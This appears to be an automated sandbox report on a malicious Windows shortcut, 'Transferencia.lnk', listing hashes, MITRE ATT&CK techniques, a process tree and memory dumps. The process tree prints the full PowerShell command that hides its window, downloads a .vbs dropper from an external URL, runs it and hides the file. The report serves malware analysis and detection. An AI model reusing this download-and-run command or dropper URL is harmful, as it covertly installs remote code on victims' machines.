64e8a709f1216e3424fcb496c63f54b8a43d3e51948bb807634cf74be30a2428

Analysis

max time kernel
119s
max time network
121s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
09-12-2024 05:45

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General

Target

Transferencia.lnk
Size

2KB
MD5

d860a0bd0c878a590742ccb10f67483b
SHA1

f939c3a41ba4b0910e56a7e89923398525dd0f68
SHA256

64e8a709f1216e3424fcb496c63f54b8a43d3e51948bb807634cf74be30a2428
SHA512

9b6e711503dea81f9b90db103471e3e67708b43065cdbc347726bbd0fd86ade3ff188b017185b7e026cdcabbfe2de75fac3a4fed31a84275a83874000f09c767

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://www.stipamana.com/vbsznjgzfzgolnzdgh/tydthcgfhjdfhsfghxffsjhx/vbfdhydjyfjfxhgjhxgh/pafdfgzdf.vbs

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2220	powershell.exe
6	2220	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2220	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2220	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2220	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2436 wrote to memory of 2220	2436	cmd.exe	32
PID 2436 wrote to memory of 2220	2436	cmd.exe	32
PID 2436 wrote to memory of 2220	2436	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Transferencia.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2436
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass ntjfmdjtginrdfbgfdhozhdfbofdjqop -WindowStyle -Command hiddeN consent.exe;(new-object System.Net.WebClient).DownloadFile('https://www.stipamana.com/vbsznjgzfzgolnzdgh/tydthcgfhjdfhsfghxffsjhx/vbfdhydjyfjfxhgjhxgh/pafdfgzdf.vbs','pafdfgz.vbs');./'pafdfgz.vbs';(get-item 'pafdfgz.vbs').Attributes += 'Hidden';
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2220

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2220-38-0x000007FEF648E000-0x000007FEF648F000-memory.dmp

Filesize
4KB

Download
memory/2220-39-0x000007FEF61D0000-0x000007FEF6B6D000-memory.dmp

Filesize
9.6MB

Download
memory/2220-40-0x000000001B690000-0x000000001B972000-memory.dmp

Filesize
2.9MB

Download
memory/2220-42-0x000007FEF61D0000-0x000007FEF6B6D000-memory.dmp

Filesize
9.6MB

Download
memory/2220-41-0x00000000027D0000-0x00000000027D8000-memory.dmp

Filesize
32KB

Download
memory/2220-43-0x000007FEF61D0000-0x000007FEF6B6D000-memory.dmp

Filesize
9.6MB

Download
memory/2220-44-0x000007FEF61D0000-0x000007FEF6B6D000-memory.dmp

Filesize
9.6MB

Download
memory/2220-45-0x000007FEF61D0000-0x000007FEF6B6D000-memory.dmp

Filesize
9.6MB

Download